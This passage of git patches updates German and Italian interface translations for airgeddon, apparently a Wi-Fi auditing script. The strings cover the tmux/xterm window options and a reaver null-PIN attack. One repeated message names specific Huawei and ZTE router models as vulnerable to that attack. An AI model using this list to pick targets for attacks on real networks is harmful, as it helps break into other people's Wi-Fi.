AIRGEDDON_WINDOWS_HANDLING en la línia d'ordres. Més informació sobre la personalització d'opcions al Wiki: ${urlgithub_wiki}/Options" arr["PORTUGUESE",626]="A partir da versão 9.20 do airgeddon, o tmux pode ser usado em vez do xterm como gerenciador de janelas. Você pode iniciar o script em um ambiente sem um sistema gráfico (X-Window). É recomendado apenas para usuários avançados. Como as demais opções, pode ser configurado a partir do menu, configurado no arquivo de opções ${rc_file} ou iniciado usando o \"parâmetro\" AIRGEDDON_WINDOWS_HANDLING na linha de comando. Mais informações sobre a customização de opções no Wiki: ${urlgithub_wiki}/Options" - arr["RUSSIAN",626]="${pending_of_translation} Начиная с версии airgeddon 9.20, tmux поддерживается и может использоваться вместо xterm в качестве обработчика Windows. Скрипт может быть запущен в автономной среде без графической системы X Window. Рекомендуется только для опытных пользователей. Как и любой другой параметр, его можно настроить в меню параметров, в файле параметров ${rc_file} или запустить с помощью AIRGEDDON_WINDOWS_HANDLING \"flag\" в командной строке. Больше информации о настройке опций на Wiki: ${urlgithub_wiki}/Options" + arr["RUSSIAN",626]="Начиная с версии airgeddon 9.20, поддерживается tmux и он может использоваться вместо xterm в качестве обработчика окон. Скрипт может быть запущен в автономной среде без графической системы X Window. Рекомендуется только для опытных пользователей. Как и любой другой параметр, его можно настроить в меню параметров, в файле параметров ${rc_file} или запустить с помощью AIRGEDDON_WINDOWS_HANDLING \"flag\" в командной строке. Больше информации о настройке опций на Wiki: ${urlgithub_wiki}/Options" arr["GREEK",626]="${pending_of_translation} Από την εκδοχή airgeddon 9.20, υποστηρίζεται το tmux και μπορεί να χρησιμοποιηθεί αντί του xterm ως χειριστής παραθύρων. Το σενάριο μπορεί να εκτοξευθεί σε περιβάλλον χωρίς κεφαλή χωρίς γραφικό σύστημα παραθύρων X. Συνιστάται μόνο για προχωρημένους χρήστες. Όπως και κάθε άλλη επιλογή, μπορεί να ρυθμιστεί στο μενού επιλογών, στο αρχείο επιλογών ${rc_file} ή να ξεκινήσει χρησιμοποιώντας τη \"flag\" AIRGEDDON_WINDOWS_HANDLING στη γραμμή εντολών. Περισσότερες πληροφορίες σχετικά με την προσαρμογή των επιλογών στο Wiki: ${urlgithub_wiki}/Options" arr["ITALIAN",626]="${pending_of_translation} A partire dalla versione 9.20 di airgeddon, tmux è supportato e può essere usato al posto di xterm come gestore di finestre. È possibile avviare lo script in un ambiente senza un sistema grafico di X Windows. È consigliato solo per utenti esperti. Come qualsiasi altra opzione, può essere configurata dal menu delle opzioni, configurata nel file delle opzioni ${rc_file} o avviata utilizzando il \"flag\" AIRGEDDON_WINDOWS_HANDLING sulla riga di comando. Maggiori informazioni sulla personalizzazione delle opzioni nel Wiki: ${urlgithub_wiki}/Options" arr["POLISH",626]="${pending_of_translation} Począwszy od wersji 9.20 airgeddon, tmux jest obsługiwany i może być używany zamiast xterm jako menedżer okien. Skrypt można uruchomić w środowisku bez systemu graficznego okien X. Zalecany jest tylko dla zaawansowanych użytkowników. Jak każda inna opcja, można ją skonfigurować z menu opcji, skonfigurować w pliku opcji ${rc_file} lub uruchomić za pomocą \"flag\" AIRGEDDON_WINDOWS_HANDLING w wierszu poleceń. Więcej informacji na temat dostosowywania opcji w Wikiv" From 53614044d0e9c0122c37a38d1de9cddf4e2cfe71 Mon Sep 17 00:00:00 2001 From: hamperfait <9727671+hamperfait@users.noreply.github.com> Date: Thu, 16 May 2019 08:47:03 +0200 Subject: [PATCH 145/148] Updated german string --- language_strings.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 4f012214a..c0edaa40e 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -8251,7 +8251,7 @@ function language_strings() { arr["GREEK",616]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε tmux" arr["ITALIAN",616]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in tmux" arr["POLISH",616]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na tmux" - arr["GERMAN",616]="${pending_of_translation} 10. Ändern Sie die Methode der Fensterverwaltung in tmux" + arr["GERMAN",616]="10. Ändern Sie die Fensterverwaltung zu tmux" arr["TURKISH",616]="${pending_of_translation} 10. Pencere yönetimi yöntemini tmux olarak değiştirin" arr["ENGLISH",617]="10. Change windows handling method to xterm" @@ -8263,7 +8263,7 @@ function language_strings() { arr["GREEK",617]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε xterm" arr["ITALIAN",617]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in xterm" arr["POLISH",617]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na xterm" - arr["GERMAN",617]="${pending_of_translation} 10. Ändern Sie die Methode der Fensterverwaltung in xterm" + arr["GERMAN",617]="10. Ändern Sie die Fensterverwaltung zu xterm" arr["TURKISH",617]="${pending_of_translation} 10. Pencere yönetimi yöntemini xterm olarak değiştirin" arr["ENGLISH",618]="Windows handling: ${pink_color}xterm${normal_color}" @@ -8275,7 +8275,7 @@ function language_strings() { arr["GREEK",618]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}xterm${normal_color}" arr["ITALIAN",618]="${pending_of_translation} Gestione delle finestre: ${pink_color}xterm${normal_color}" arr["POLISH",618]="${pending_of_translation} Zarządzanie oknami: ${pink_color}xterm${normal_color}" - arr["GERMAN",618]="${pending_of_translation} Fensterverwaltung: ${pink_color}xterm${normal_color}" + arr["GERMAN",618]="Fensterverwaltung: ${pink_color}xterm${normal_color}" arr["TURKISH",618]="${pending_of_translation} Pencere yönetimi: ${pink_color}xterm${normal_color}" arr["ENGLISH",619]="Windows handling: ${pink_color}tmux${normal_color}" @@ -8287,7 +8287,7 @@ function language_strings() { arr["GREEK",619]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}tmux${normal_color}" arr["ITALIAN",619]="${pending_of_translation} Gestione delle finestre: ${pink_color}tmux${normal_color}" arr["POLISH",619]="${pending_of_translation} Zarządzanie oknami: ${pink_color}tmux${normal_color}" - arr["GERMAN",619]="${pending_of_translation} Fensterverwaltung: ${pink_color}tmux${normal_color}" + arr["GERMAN",619]="Fensterverwaltung: ${pink_color}tmux${normal_color}" arr["TURKISH",619]="${pending_of_translation} Pencere yönetimi: ${pink_color}tmux${normal_color}" arr["ENGLISH",620]="The windows handling method has been modified in the configuration file. Restart the script in order to make the changes to take effect" @@ -8299,7 +8299,7 @@ function language_strings() { arr["GREEK",620]="${pending_of_translation} Η μέθοδος διαχείρισης παραθύρων έχει τροποποιηθεί στο αρχείο ρυθμίσεων. Κάντε επανεκκίνηση του σεναρίου για να εφαρμοστούν οι αλλαγές" arr["ITALIAN",620]="${pending_of_translation} Il metodo di gestione delle finestre è stato modificato nel file di configurazione. Riavviare lo script per rendere effettive le modifiche" arr["POLISH",620]="${pending_of_translation} Metoda zarządzania oknami została zmodyfikowana w pliku konfiguracyjnym. Uruchom ponownie skrypt, aby zmiany odniosły skutek" - arr["GERMAN",620]="${pending_of_translation} Die Fensterverwaltungsmethode wurde in der Konfigurationsdatei geändert. Starten Sie das Skript neu, damit die Änderungen wirksam werden" + arr["GERMAN",620]="Die Fensterverwaltungsmethode wurde in der Konfigurationsdatei geändert. Starten Sie das Skript neu, damit die Änderungen wirksam werden" arr["TURKISH",620]="${pending_of_translation} Pencere yönetim yöntemi, yapılandırma dosyasında değiştirildi. Değişikliklerin etkili olması için betiği yeniden başlatın" arr["ENGLISH",621]="It's not possible to run airgeddon in the current tmux session. This session will be send to background and a new tmux session will be created for launching airgeddon" @@ -8311,7 +8311,7 @@ function language_strings() { arr["GREEK",621]="${pending_of_translation} Δεν είναι δυνατό να εκτελέσετε airgeddon στην τρέχουσα συνεδρία tmux. Αυτή η περίοδος θα στείλει στο παρασκήνιο και θα δημιουργηθεί μια νέα συνεδρία tmux για την εκκίνηση του airgeddon" arr["ITALIAN",621]="${pending_of_translation} Non è possibile eseguire airgeddon nella sessione corrente di tmux. Questa sessione verrà inviata in background e verrà creata una nuova sessione tmux in cui verrà lanciato airgeddon" arr["POLISH",621]="${pending_of_translation} Nie można uruchomić airgeddon w bieżącej sesji tmux. Ta sesja zostanie wysłana do tła i zostanie utworzona nowa sesja tmux, w której zostanie uruchomiony airgeddon" - arr["GERMAN",621]="${pending_of_translation} Es ist nicht möglich, airgeddon in der aktuellen tmux-Sitzung auszuführen. Diese Sitzung wird in den Hintergrund gesendet und eine neue Sitzung wird erstellt, in der airgeddon gestartet wird" + arr["GERMAN",621]="Es ist nicht möglich, airgeddon in der aktuellen tmux-Sitzung auszuführen. Diese Sitzung wird in den Hintergrund gesendet und eine neue Sitzung wird erstellt, in der airgeddon gestartet wird" arr["TURKISH",621]="${pending_of_translation} Mevcut tmux seansında airgeddon çalıştırmak mümkün değildir. Bu oturum arka plana gönderilecek ve airgeddon'un başlatılacağı yeni bir tmux oturumu oluşturulacak" arr["ENGLISH",622]="13. (reaver) Null PIN attack" @@ -8323,7 +8323,7 @@ function language_strings() { arr["GREEK",622]="${pending_of_translation} 13. (reaver) Null PIN επίθεση" arr["ITALIAN",622]="${pending_of_translation} 13. (reaver) Attacco PIN nullo" arr["POLISH",622]="${pending_of_translation} 13. (reaver) Atak null PIN" - arr["GERMAN",622]="${pending_of_translation} 13. (reaver) Null-PIN-Angriff" + arr["GERMAN",622]="13. (reaver) Null-PIN-Angriff" arr["TURKISH",622]="${pending_of_translation} 13. (reaver) Boş PIN saldırısı" arr["ENGLISH",623]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform null PIN integrated reaver attack (minimum version v${minimum_reaver_nullpin_version}). Script can continue..." @@ -8335,7 +8335,7 @@ function language_strings() { arr["GREEK",623]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_nullpin_version}), για την επίθεση null PIN με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." arr["ITALIAN",623]="${pending_of_translation} È stato installato reaver (v${reaver_version}). Soddisfi il requisito della versione per realizzare l'attacco PIN nullo integrato con reaver (versione minima v${minimum_reaver_nullpin_version}). Lo script può continuare..." arr["POLISH",623]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}). Spełnia on wymagania dotyczące wersji, aby wykonać atak null PIN (wersja minimalna v${minimum_reaver_nullpin_version}). Skrypt może kontynuować..." - arr["GERMAN",623]="${pending_of_translation} Reaver ist installiert (v${reaver_version}). Sie erfüllen die Versionsvoraussetzung, um den Null-PIN-Angriff auszuführen, der mit Reaver integriert ist (min Version v${minimum_reaver_nullpin_version}). Das Skript kann fortfahren..." + arr["GERMAN",623]="Reaver ist installiert (v${reaver_version}). Sie erfüllen die Versionsvoraussetzung, um den Null-PIN-Angriff auszuführen, der mit Reaver integriert ist (min Version v${minimum_reaver_nullpin_version}). Das Skript kann fortfahren..." arr["TURKISH",623]="${pending_of_translation} Reaver sisteminizde kurulu (v${reaver_version}). Boş PIN entegre reaver saldırısını gerçekleştirmek için sürüm gereksinimini karşılıyorsunuz (minimum sürüm v${minimum_reaver_nullpin_version}). Script devam edebilir..." arr["ENGLISH",624]="You have reaver installed (v${reaver_version}), but not required version. To perform null PIN integrated reaver attack you must have at least version v${minimum_reaver_nullpin_version}" @@ -8347,7 +8347,7 @@ function language_strings() { arr["GREEK",624]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση null PIN με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_nullpin_version}" arr["ITALIAN",624]="${pending_of_translation} È stato installato reaver (v${reaver_version}), ma non la versione richiesta. Per realizzare l'attacco PIN nullo integrato con reaver devi avere almeno la versione v${minimum_reaver_nullpin_version}" arr["POLISH",624]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}), ale nie wymaganą wersję. Aby zrealizować atak null PIN zintegrowany z programem reaver musisz mieć co najmniej wersję v${minimum_reaver_nullpin_version}" - arr["GERMAN",624]="${pending_of_translation} Reaver ist installiert (v${reaver_version}), jedoch nicht die erforderliche Version. Um den Null-PIN-Angriff mit Reaver zu integrieren, müssen Sie mindestens die Version v${minimum_reaver_nullpin_version} haben" + arr["GERMAN",624]="Reaver ist installiert (v${reaver_version}), jedoch nicht die erforderliche Version. Um den Null-PIN-Angriff mit Reaver zu integrieren, müssen Sie mindestens die Version v${minimum_reaver_nullpin_version} haben" arr["TURKISH",624]="${pending_of_translation} Reaver sisteminizde kurulu (v${reaver_version}), ancak sürüm uygun değil. Boş PIN entegre reaver saldırısını gerçekleştirmek için minimum sürüm olan ${minimum_reaver_nullpin_version} olmalıdır" arr["ENGLISH",625]="Null PIN attack is pretty fast and achieve the password almost instantly but only a few access points are vulnerable. Some of them are \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" and \"ZTE H298N\"" @@ -8359,7 +8359,7 @@ function language_strings() { arr["GREEK",625]="${pending_of_translation} Η μηδενική επίθεση PIN είναι πολύ γρήγορη και παίρνει τον κωδικό αμέσως, αλλά μόνο λίγα σημεία πρόσβασης είναι ευάλωτα. Κάποιοι είναι \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" και \"ZTE H298N\"" arr["ITALIAN",625]="${pending_of_translation} L'attacco PIN nullo è molto veloce e ottiene la password all'istante, ma solo pochi punti di accesso sono vulnerabili. Alcuni lo sono \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" arr["POLISH",625]="${pending_of_translation} Atak null kodu PIN jest bardzo szybki i natychmiast otrzymuje hasło, ale tylko kilka punktów dostępu jest podatnych na ataki. Niektóre są \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" - arr["GERMAN",625]="${pending_of_translation} Der Null-PIN-Angriff ist sehr schnell und erhält das Kennwort sofort, aber nur wenige Zugangspunkte sind anfällig. Einige sind \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" und \"ZTE H298N\"" + arr["GERMAN",625]="Der Null-PIN-Angriff ist sehr schnell und erhält das Kennwort sofort, aber nur wenige access points sind anfällig. Einige sind \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" und \"ZTE H298N\"" arr["TURKISH",625]="${pending_of_translation} Boş PIN saldırısı çok hızlıdır ve şifreyi anında alır, ancak yalnızca birkaç erişim noktası korunmasızdır. Bazı \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" ve \"ZTE H298N\"" arr["ENGLISH",626]="Since airgeddon 9.20 version, tmux is supported and it can be used instead of xterm as windows handler. Script can be launched in a headless environment without a graphical X window system. It is recommended only for advanced users. Like any other option, it can be configured on the options menu, on the ${rc_file} options file or launched using AIRGEDDON_WINDOWS_HANDLING \"flag\" in the command line. More information about options customization at Wiki: ${urlgithub_wiki}/Options" @@ -8371,7 +8371,7 @@ function language_strings() { arr["GREEK",626]="${pending_of_translation} Από την εκδοχή airgeddon 9.20, υποστηρίζεται το tmux και μπορεί να χρησιμοποιηθεί αντί του xterm ως χειριστής παραθύρων. Το σενάριο μπορεί να εκτοξευθεί σε περιβάλλον χωρίς κεφαλή χωρίς γραφικό σύστημα παραθύρων X. Συνιστάται μόνο για προχωρημένους χρήστες. Όπως και κάθε άλλη επιλογή, μπορεί να ρυθμιστεί στο μενού επιλογών, στο αρχείο επιλογών ${rc_file} ή να ξεκινήσει χρησιμοποιώντας τη \"flag\" AIRGEDDON_WINDOWS_HANDLING στη γραμμή εντολών. Περισσότερες πληροφορίες σχετικά με την προσαρμογή των επιλογών στο Wiki: ${urlgithub_wiki}/Options" arr["ITALIAN",626]="${pending_of_translation} A partire dalla versione 9.20 di airgeddon, tmux è supportato e può essere usato al posto di xterm come gestore di finestre. È possibile avviare lo script in un ambiente senza un sistema grafico di X Windows. È consigliato solo per utenti esperti. Come qualsiasi altra opzione, può essere configurata dal menu delle opzioni, configurata nel file delle opzioni ${rc_file} o avviata utilizzando il \"flag\" AIRGEDDON_WINDOWS_HANDLING sulla riga di comando. Maggiori informazioni sulla personalizzazione delle opzioni nel Wiki: ${urlgithub_wiki}/Options" arr["POLISH",626]="${pending_of_translation} Począwszy od wersji 9.20 airgeddon, tmux jest obsługiwany i może być używany zamiast xterm jako menedżer okien. Skrypt można uruchomić w środowisku bez systemu graficznego okien X. Zalecany jest tylko dla zaawansowanych użytkowników. Jak każda inna opcja, można ją skonfigurować z menu opcji, skonfigurować w pliku opcji ${rc_file} lub uruchomić za pomocą \"flag\" AIRGEDDON_WINDOWS_HANDLING w wierszu poleceń. Więcej informacji na temat dostosowywania opcji w Wikiv" - arr["GERMAN",626]="${pending_of_translation} Ab Version 9.20 von airgeddon wird tmux unterstützt und kann anstelle von xterm als Fenstermanager verwendet werden. Sie können das Skript in einer Umgebung ohne Grafiksystem von X-Fenstern starten, es wird nur für fortgeschrittene Benutzer empfohlen. Wie jede andere Option kann sie über das Optionsmenü konfiguriert, in der Optionsdatei ${rc_file} konfiguriert oder mit dem \"flag\" AIRGEDDON_WINDOWS_HANDLING in der Befehlszeile gestartet werden. Weitere Informationen zur Anpassung der Optionen im Wiki: ${urlgithub_wiki}/Options" + arr["GERMAN",626]="Ab airgeddon Version 9.20 wird tmux unterstützt und kann anstelle von xterm als Fenstermanager verwendet werden. Sie können das Skript in einer Umgebung ohne Grafiksystem von X-Fenstern starten, es wird nur für fortgeschrittene Benutzer empfohlen. Wie jede andere Option kann sie über das Optionsmenü konfiguriert werden, in der Optionsdatei ${rc_file} konfiguriert oder mit dem \"flag\" AIRGEDDON_WINDOWS_HANDLING in der Befehlszeile gestartet werden. Weitere Informationen zur Anpassung der Optionen im Wiki: ${urlgithub_wiki}/Options" arr["TURKISH",626]="${pending_of_translation} airgeddon'un 9.20 sürümünden itibaren, tmux destekleniyor ve bir pencere yöneticisi olarak xterm yerine kullanılabilir. Senaryoyu X windows grafik sistemine sahip olmayan bir ortamda başlatabilirsiniz, sadece ileri düzey kullanıcılar için önerilir. Diğer seçeneklerde olduğu gibi, seçenekler menüsünden yapılandırılabilir, ${rc_file} seçenekler dosyasında yapılandırılabilir veya komut satırında \"flag\" AIRGEDDON_WINDOWS_HANDLING kullanılarak başlatılabilir. Wiki'deki seçeneklerin özelleştirilmesi hakkında daha fazla bilgi: ${urlgithub_wiki}/Options" case "${3}" in From 2710406cd63c0739b3544fa8c8dda1ea7dc25c8c Mon Sep 17 00:00:00 2001 From: salu90 Date: Thu, 16 May 2019 18:13:04 +0200 Subject: [PATCH 146/148] Italian translation updated --- language_strings.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index c0edaa40e..28fc53ae4 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -8249,7 +8249,7 @@ function language_strings() { arr["PORTUGUESE",616]="10. Alterar gerenciador de janelas para tmux" arr["RUSSIAN",616]="10. Изменить метод управления окнами на tmux" arr["GREEK",616]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε tmux" - arr["ITALIAN",616]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in tmux" + arr["ITALIAN",616]="10. Cambiare il metodo di gestione delle finestre in tmux" arr["POLISH",616]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na tmux" arr["GERMAN",616]="10. Ändern Sie die Fensterverwaltung zu tmux" arr["TURKISH",616]="${pending_of_translation} 10. Pencere yönetimi yöntemini tmux olarak değiştirin" @@ -8261,7 +8261,7 @@ function language_strings() { arr["PORTUGUESE",617]="Alterar gerenciador de janelas para xterm" arr["RUSSIAN",617]="10. Изменить метод управления окнами на xterm" arr["GREEK",617]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε xterm" - arr["ITALIAN",617]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in xterm" + arr["ITALIAN",617]="10. Cambiare il metodo di gestione delle finestre in xterm" arr["POLISH",617]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na xterm" arr["GERMAN",617]="10. Ändern Sie die Fensterverwaltung zu xterm" arr["TURKISH",617]="${pending_of_translation} 10. Pencere yönetimi yöntemini xterm olarak değiştirin" @@ -8273,7 +8273,7 @@ function language_strings() { arr["PORTUGUESE",618]="Gerenciador de janelas: ${pink_color}xterm${normal_color}" arr["RUSSIAN",618]="Управление окнами: ${pink_color}xterm${normal_color}" arr["GREEK",618]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}xterm${normal_color}" - arr["ITALIAN",618]="${pending_of_translation} Gestione delle finestre: ${pink_color}xterm${normal_color}" + arr["ITALIAN",618]="Gestione delle finestre: ${pink_color}xterm${normal_color}" arr["POLISH",618]="${pending_of_translation} Zarządzanie oknami: ${pink_color}xterm${normal_color}" arr["GERMAN",618]="Fensterverwaltung: ${pink_color}xterm${normal_color}" arr["TURKISH",618]="${pending_of_translation} Pencere yönetimi: ${pink_color}xterm${normal_color}" @@ -8285,7 +8285,7 @@ function language_strings() { arr["PORTUGUESE",619]="Gerenciador de janelas: ${pink_color}tmux${normal_color}" arr["RUSSIAN",619]="Управление окнами: ${pink_color}tmux${normal_color}" arr["GREEK",619]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}tmux${normal_color}" - arr["ITALIAN",619]="${pending_of_translation} Gestione delle finestre: ${pink_color}tmux${normal_color}" + arr["ITALIAN",619]="Gestione delle finestre: ${pink_color}tmux${normal_color}" arr["POLISH",619]="${pending_of_translation} Zarządzanie oknami: ${pink_color}tmux${normal_color}" arr["GERMAN",619]="Fensterverwaltung: ${pink_color}tmux${normal_color}" arr["TURKISH",619]="${pending_of_translation} Pencere yönetimi: ${pink_color}tmux${normal_color}" @@ -8297,7 +8297,7 @@ function language_strings() { arr["PORTUGUESE",620]="O gerenciador de janelas foi modificado no arquivo de configuração. Reinicie o script para que as alterações entrem em vigor" arr["RUSSIAN",620]="Метод управления окнами был изменён в файле конфигурации. Перезапустите скрипт, чтобы изменения вступили в силу" arr["GREEK",620]="${pending_of_translation} Η μέθοδος διαχείρισης παραθύρων έχει τροποποιηθεί στο αρχείο ρυθμίσεων. Κάντε επανεκκίνηση του σεναρίου για να εφαρμοστούν οι αλλαγές" - arr["ITALIAN",620]="${pending_of_translation} Il metodo di gestione delle finestre è stato modificato nel file di configurazione. Riavviare lo script per rendere effettive le modifiche" + arr["ITALIAN",620]="Il metodo di gestione delle finestre è stato modificato nel file di configurazione. Riavviare lo script per rendere effettive le modifiche" arr["POLISH",620]="${pending_of_translation} Metoda zarządzania oknami została zmodyfikowana w pliku konfiguracyjnym. Uruchom ponownie skrypt, aby zmiany odniosły skutek" arr["GERMAN",620]="Die Fensterverwaltungsmethode wurde in der Konfigurationsdatei geändert. Starten Sie das Skript neu, damit die Änderungen wirksam werden" arr["TURKISH",620]="${pending_of_translation} Pencere yönetim yöntemi, yapılandırma dosyasında değiştirildi. Değişikliklerin etkili olması için betiği yeniden başlatın" @@ -8309,7 +8309,7 @@ function language_strings() { arr["PORTUGUESE",621]="Não é possível executar o airgeddon na sessão atual do tmux. Esta sessão será colocada em segundo plano e uma nova sessão do tmux será criada onde o airgeddon será executado" arr["RUSSIAN",621]="Невозможно запустить airgeddon в текущей сессии tmux. Этот сеанс будет отправлен в фоновый режим, и будет создан новый сеанс tmux для запуска airgeddon" arr["GREEK",621]="${pending_of_translation} Δεν είναι δυνατό να εκτελέσετε airgeddon στην τρέχουσα συνεδρία tmux. Αυτή η περίοδος θα στείλει στο παρασκήνιο και θα δημιουργηθεί μια νέα συνεδρία tmux για την εκκίνηση του airgeddon" - arr["ITALIAN",621]="${pending_of_translation} Non è possibile eseguire airgeddon nella sessione corrente di tmux. Questa sessione verrà inviata in background e verrà creata una nuova sessione tmux in cui verrà lanciato airgeddon" + arr["ITALIAN",621]="Non è possibile eseguire airgeddon nella sessione corrente di tmux. Questa sessione verrà mandata in background e verrà creata una nuova sessione tmux in cui verrà lanciato airgeddon" arr["POLISH",621]="${pending_of_translation} Nie można uruchomić airgeddon w bieżącej sesji tmux. Ta sesja zostanie wysłana do tła i zostanie utworzona nowa sesja tmux, w której zostanie uruchomiony airgeddon" arr["GERMAN",621]="Es ist nicht möglich, airgeddon in der aktuellen tmux-Sitzung auszuführen. Diese Sitzung wird in den Hintergrund gesendet und eine neue Sitzung wird erstellt, in der airgeddon gestartet wird" arr["TURKISH",621]="${pending_of_translation} Mevcut tmux seansında airgeddon çalıştırmak mümkün değildir. Bu oturum arka plana gönderilecek ve airgeddon'un başlatılacağı yeni bir tmux oturumu oluşturulacak" @@ -8321,7 +8321,7 @@ function language_strings() { arr["PORTUGUESE",622]="13. (reaver) Ataque de PIN nulo" arr["RUSSIAN",622]="13. (reaver) Атака с нулевым PIN" arr["GREEK",622]="${pending_of_translation} 13. (reaver) Null PIN επίθεση" - arr["ITALIAN",622]="${pending_of_translation} 13. (reaver) Attacco PIN nullo" + arr["ITALIAN",622]="13. (reaver) Attacco del PIN nullo" arr["POLISH",622]="${pending_of_translation} 13. (reaver) Atak null PIN" arr["GERMAN",622]="13. (reaver) Null-PIN-Angriff" arr["TURKISH",622]="${pending_of_translation} 13. (reaver) Boş PIN saldırısı" @@ -8333,7 +8333,7 @@ function language_strings() { arr["PORTUGUESE",623]="Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque de PIN nulo com reaver (versão mínima v${minimum_reaver_nullpin_version}). O script pode continuar..." arr["RUSSIAN",623]="У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки нулевого PIN (минимальная версия v${minimum_reaver_nullpin_version}). Скрипт может продолжить работу..." arr["GREEK",623]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_nullpin_version}), για την επίθεση null PIN με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." - arr["ITALIAN",623]="${pending_of_translation} È stato installato reaver (v${reaver_version}). Soddisfi il requisito della versione per realizzare l'attacco PIN nullo integrato con reaver (versione minima v${minimum_reaver_nullpin_version}). Lo script può continuare..." + arr["ITALIAN",623]="È stato installato reaver (v${reaver_version}). Soddisfi il requisito della versione per realizzare l'attacco del PIN nullo integrato in reaver (versione minima v${minimum_reaver_nullpin_version}). Lo script può continuare..." arr["POLISH",623]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}). Spełnia on wymagania dotyczące wersji, aby wykonać atak null PIN (wersja minimalna v${minimum_reaver_nullpin_version}). Skrypt może kontynuować..." arr["GERMAN",623]="Reaver ist installiert (v${reaver_version}). Sie erfüllen die Versionsvoraussetzung, um den Null-PIN-Angriff auszuführen, der mit Reaver integriert ist (min Version v${minimum_reaver_nullpin_version}). Das Skript kann fortfahren..." arr["TURKISH",623]="${pending_of_translation} Reaver sisteminizde kurulu (v${reaver_version}). Boş PIN entegre reaver saldırısını gerçekleştirmek için sürüm gereksinimini karşılıyorsunuz (minimum sürüm v${minimum_reaver_nullpin_version}). Script devam edebilir..." @@ -8345,7 +8345,7 @@ function language_strings() { arr["PORTUGUESE",624]="Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque de PIN nulo com reaver você precisa ter pelo menos a versão v${minimum_reaver_nullpin_version}" arr["RUSSIAN",624]="У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки нулевого PIN у вас должна быть по крайней мере v${minimum_reaver_nullpin_version}" arr["GREEK",624]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση null PIN με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_nullpin_version}" - arr["ITALIAN",624]="${pending_of_translation} È stato installato reaver (v${reaver_version}), ma non la versione richiesta. Per realizzare l'attacco PIN nullo integrato con reaver devi avere almeno la versione v${minimum_reaver_nullpin_version}" + arr["ITALIAN",624]="È stato installato reaver (v${reaver_version}), ma non la versione richiesta. Per realizzare l'attacco del PIN nullo integrato in reaver devi avere almeno la versione v${minimum_reaver_nullpin_version}" arr["POLISH",624]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}), ale nie wymaganą wersję. Aby zrealizować atak null PIN zintegrowany z programem reaver musisz mieć co najmniej wersję v${minimum_reaver_nullpin_version}" arr["GERMAN",624]="Reaver ist installiert (v${reaver_version}), jedoch nicht die erforderliche Version. Um den Null-PIN-Angriff mit Reaver zu integrieren, müssen Sie mindestens die Version v${minimum_reaver_nullpin_version} haben" arr["TURKISH",624]="${pending_of_translation} Reaver sisteminizde kurulu (v${reaver_version}), ancak sürüm uygun değil. Boş PIN entegre reaver saldırısını gerçekleştirmek için minimum sürüm olan ${minimum_reaver_nullpin_version} olmalıdır" @@ -8357,7 +8357,7 @@ function language_strings() { arr["PORTUGUESE",625]="O ataque de PIN nulo é muito rápido e obtém a senha instantaneamente, mas apenas alguns pontos de acesso são vulneráveis. Alguns como: \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" arr["RUSSIAN",625]="Атака по нулевому PIN-коду очень быстрая и мгновенно получает пароль, но уязвимы только несколько точек доступа. Примеры некоторых из них: \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" и \"ZTE H298N\"" arr["GREEK",625]="${pending_of_translation} Η μηδενική επίθεση PIN είναι πολύ γρήγορη και παίρνει τον κωδικό αμέσως, αλλά μόνο λίγα σημεία πρόσβασης είναι 